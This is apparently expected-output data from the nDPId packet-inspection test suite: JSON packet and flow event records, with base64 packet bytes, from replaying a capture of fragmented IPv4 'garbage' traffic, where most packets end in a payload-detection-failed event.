+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":173286,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiVeJiooKiZe"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1534244030473,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9508,"dst_port":8998,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473370,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiYtwwAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 